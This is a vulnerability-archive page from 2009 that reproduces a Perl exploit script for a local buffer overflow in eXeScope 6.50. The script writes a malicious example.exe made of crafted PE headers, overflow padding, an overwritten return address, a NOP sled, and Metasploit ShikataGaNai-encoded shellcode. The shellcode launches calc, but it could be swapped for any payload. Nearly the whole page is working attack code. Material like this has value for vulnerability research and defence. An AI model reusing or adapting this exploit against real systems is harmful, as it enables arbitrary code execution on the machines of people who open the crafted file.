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eXeScope 6.50 Local Buffer Overflow Exploit

🗓️ 24 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

eXeScope 6.50 Local Buffer Overflow Exploit for example.ex

Code

                                                #!/usr/bin/perl
#
# eXeScope 6.50 Local Buffer Overflow Exploit
#
# Download eXeScope 6.50 at:
# http://hp.vector.co.jp/authors/VA003525/eXeSc650.zip
#
# Exploit by: Koshi ( [email protected] )
# 

use strict;
use warnings;

my $headers = 
	\"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\".
	\"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\".
	\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\".
	\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB8\\x00\\x00\\x00\".
	\"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\".
	\"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\".
	\"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x65\\x69\\x74\\x68\\x65\\x72\\x20\".
	\"\\x77\\x61\\x79\\x21\\x21\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\".
	\"\\x8F\\x8A\\xF9\\xDB\\xCB\\xEB\\x97\\x88\\xCB\\xEB\\x97\\x88\\xCB\\xEB\\x97\\x88\".
	\"\\x48\\xF7\\x99\\x88\\xCA\\xEB\\x97\\x88\\xA2\\xF4\\x9E\\x88\\xCA\\xEB\\x97\\x88\".
	\"\\x22\\xF4\\x9A\\x88\\xCA\\xEB\\x97\\x88\\x52\\x69\\x63\\x68\\xCB\\xEB\\x97\\x88\".
	\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\xFF\\x00\".
	\"\\xAB\\xBA\\x5C\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x00\\xF0\\x01\".
	\"\\x00\"x224;


# win32_exec -  EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
my $shellcode =
	\"\\xb8\\x82\\x0a\\x8d\\x38\\xd9\\xc6\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\\xb1\\x23\".
	\"\\x31\\x42\\x12\\x83\\xea\\xfc\\x03\\xc0\\x04\\x6f\\xcd\\x38\\xf0\\x2b\\x2e\\xc0\".
	\"\\x01\\x3f\\x6b\\xfc\\x8a\\x43\\x71\\x84\\x8d\\x54\\xf2\\x3b\\x96\\x21\\x5a\\xe3\".
	\"\\xa7\\xde\\x2c\\x68\\x93\\xab\\xae\\x80\\xed\\x6b\\x29\\xf0\\x8a\\xac\\x3e\\x0f\".
	\"\\x52\\xe6\\xb2\\x0e\\x96\\x1c\\x38\\x2b\\x42\\xc7\\xc5\\x3e\\x8f\\x8c\\x99\\xe4\".
	\"\\x4e\\x78\\x43\\x6f\\x5c\\x35\\x07\\x30\\x41\\xc8\\xfc\\x45\\x65\\x41\\x03\\xb2\".
	\"\\x1f\\x09\\x20\\x40\\xe3\\x83\\xe8\\x2c\\x68\\xa3\\xd8\\x29\\xae\\x5c\\x15\\xba\".
	\"\\x6f\\x91\\xae\\xcc\\x73\\x04\\x3b\\x44\\x84\\xbd\\x35\\x1f\\x14\\xf1\\x46\\x1f\".
	\"\\x15\\x79\\x2e\\x23\\x4a\\x4c\\x59\\x3b\\x22\\x27\\x5d\\x38\\x0a\\x4c\\xce\\x56\".
	\"\\xf5\\x6b\\x0c\\xd5\\x61\\x14\\x2f\\x93\\x7c\\x73\\x2f\\x44\\xe3\\x1a\\xa3\\xe9\".
	\"\\xe4\";

my $buff0 = \"A\"x4148;
my $eip   = \"\\x58\\x32\\x4D\\x00\"; # 004d3258 - eXeScope.exe
my $sled  = \"\\x90\"x20;
my $len   = 6028 - length($shellcode);
my $buff1 = \"A\"x$len;
my $datas = $headers.$buff0.$eip.$sled.$shellcode.$buff1;

open(my $files, \"> example.exe\");
binmode $files;
print $files $datas;
close($files);
                              

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